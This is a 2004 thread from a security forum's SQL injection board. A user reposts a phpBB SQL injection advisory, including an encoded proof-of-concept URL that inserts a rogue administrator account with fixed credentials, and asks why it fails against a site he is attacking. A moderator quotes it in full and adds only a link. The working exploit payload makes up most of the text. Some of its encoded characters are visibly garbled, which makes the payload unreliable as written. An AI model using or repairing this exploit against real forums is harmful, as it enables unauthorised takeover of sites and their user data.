 |
Menu |
 |
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
 |
User Info |
 |
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 330
Members: 0
Total: 330
|
|
|
|
|
 |
Full disclosure |
 |
CyberDanube Security Research 20251014-0 | Multiple Vulnerabilities in Phoenix Contact QUINT4 UPS
apis.google.com - Insecure redirect via __lu parameter(exploited in the wild)
Urgent Security Vulnerabilities Discovered in Mercku Routers Model M6a
Re: Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
Security Advisory: Multiple High-Severity Vulnerabilities in Suno.com (JWT Leakage, IDOR, DoS)
[SBA-ADV-20250730-01] CVE-2025-39664: Checkmk Path Traversal
[SBA-ADV-20250724-01] CVE-2025-32919: Checkmk Agent Privilege Escalation via Insecure Temporary Files
CVE-2025-59397 - Open Web Analytics SQL Injection
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Re: Defense in depth -- the Microsoft way (part 93): SRP/SAFERwhitelisting goes black on Windows 11
Re: [FD]: "Glass Cage" – Zero-Click iMessage ? Persistent iOS Compromise + Bricking (CVE-2025-24085 / 24201, CNVD-2025-07885)
Re: [FD]Full Disclosure: CVE-2025-31200 & CVE-2025-31201 – 0-Click iMessage Chain ? Secure Enclave Key Theft, Wormable RCE, Crypto Theft
Samtools v1.22.1 Uncontrolled Memory Allocation from Large BED Intervals Causes Denial-of-Service in Samtools/HTSlib
Samtools v1.22.1 Improper Handling of Excessive Histogram Bin Counts in Samtools Coverage Leads to Stack Overflow
|
|
|
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 |
phpbb2 injection problems |
 |
Posted: Wed Dec 15, 2004 10:10 am |
|
|
Porsche911r101 |
Beginner |

 |
|
Joined: Dec 14, 2004 |
Posts: 3 |
|
|
|
 |
 |
 |
|
Vulnerable Systems:
* phpBB versions prior to 2.0.11
* Attachmodule, all versions
Immune Systems:
* phpBB version 2.0.11
Due to decoding mishandling of the input request a malicious attacker is able to inject any type of SQL query to the back-end database server. Upon close inspection of the code is became evident that using multiple char() functions will fool phpBB and allow insertion of an SQL query.
The following SQL statement will add a user with administrative rights on the system:
INSERT INTO phpbb_users(user_id, user_active, username, user_password, user_level) VALUES ('99999', '1', 'ze3lock', 'ba3c83348bddf7b368b478ac06d3340e', '1')
And the following login credentials:
username: ze3lock
pass: thepass
Note: This query is assuming that the phpBB user table is called 'phpbb_users', which comprise most of the sites using phpBB. However, sites in which the table's name was changed will not be affected and the correct name of the table will have to be discovered before exploitation can take place.
The exploit can be run on any site using phpBB without the need to be registered. This makes it a prime target for automated scripts that insert backdoors in many sites around the web. A proof of concept HTTP query is provided below. In order to make it work, an active thread number from the forums must be substituted in, but this is relatively trivial to find.
url :
" target="_blank">http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr(73)%252echr(7
%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)%252echr(73)%252echr(7
%252echr(84)%252echr(79)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(9
%252echr(9%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)
%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44)
%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
%252echr(101)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(108)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32)
%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)
%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr(57)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(44)%252echr(39)
%252echr(122)%252echr(101)%252echr(51)%252echr(108)%252echr(111)%252echr(99)%252echr(107)
%252echr(39)%252echr(44)%252echr(39)%252echr(9%252echr(97)%252echr(51)%252echr(99)
%252echr(56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(9%252echr(100)
%252echr(100)%252echr(102)%252echr(55)%252echr(9%252echr(51)%252echr(54)%252echr(56)
%252echr(9%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(4
%252echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(4%252echr(101)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e%2527
Ok, when i try runninthat url in my browser, after making it all one line, it doesnt work, and ideas why?
My mate got it to work but wont tell me so he has an edge over me (and yes i did replace site.com with the full url etc)
Cheers, J |
|
|
|
|
 |
 |
Re: phpbb2 injection problems |
 |
Posted: Wed Dec 15, 2004 2:29 pm |
|
|
LINUX |
Moderator |

 |
|
Joined: May 24, 2004 |
Posts: 404 |
Location: Caiman |
|
|
 |
 |
 |
|
Porsche911r101 wrote: | Vulnerable Systems:
* phpBB versions prior to 2.0.11
* Attachmodule, all versions
Immune Systems:
* phpBB version 2.0.11
Due to decoding mishandling of the input request a malicious attacker is able to inject any type of SQL query to the back-end database server. Upon close inspection of the code is became evident that using multiple char() functions will fool phpBB and allow insertion of an SQL query.
The following SQL statement will add a user with administrative rights on the system:
INSERT INTO phpbb_users(user_id, user_active, username, user_password, user_level) VALUES ('99999', '1', 'ze3lock', 'ba3c83348bddf7b368b478ac06d3340e', '1')
And the following login credentials:
username: ze3lock
pass: thepass
Note: This query is assuming that the phpBB user table is called 'phpbb_users', which comprise most of the sites using phpBB. However, sites in which the table's name was changed will not be affected and the correct name of the table will have to be discovered before exploitation can take place.
The exploit can be run on any site using phpBB without the need to be registered. This makes it a prime target for automated scripts that insert backdoors in many sites around the web. A proof of concept HTTP query is provided below. In order to make it work, an active thread number from the forums must be substituted in, but this is relatively trivial to find.
url :
" target="_blank">http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr(73)%252echr(7
%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)%252echr(73)%252echr(7
%252echr(84)%252echr(79)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(9
%252echr(9%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)
%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44)
%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
%252echr(101)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(108)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32)
%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)
%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr(57)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(44)%252echr(39)
%252echr(122)%252echr(101)%252echr(51)%252echr(108)%252echr(111)%252echr(99)%252echr(107)
%252echr(39)%252echr(44)%252echr(39)%252echr(9%252echr(97)%252echr(51)%252echr(99)
%252echr(56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(9%252echr(100)
%252echr(100)%252echr(102)%252echr(55)%252echr(9%252echr(51)%252echr(54)%252echr(56)
%252echr(9%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(4
%252echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(4%252echr(101)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e%2527
Ok, when i try runninthat url in my browser, after making it all one line, it doesnt work, and ideas why?
My mate got it to work but wont tell me so he has an edge over me (and yes i did replace site.com with the full url etc)
Cheers, J |
http://www.waraxe.us/forum/viewtopic.php?t=427 |
|
|
|
|
 |
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|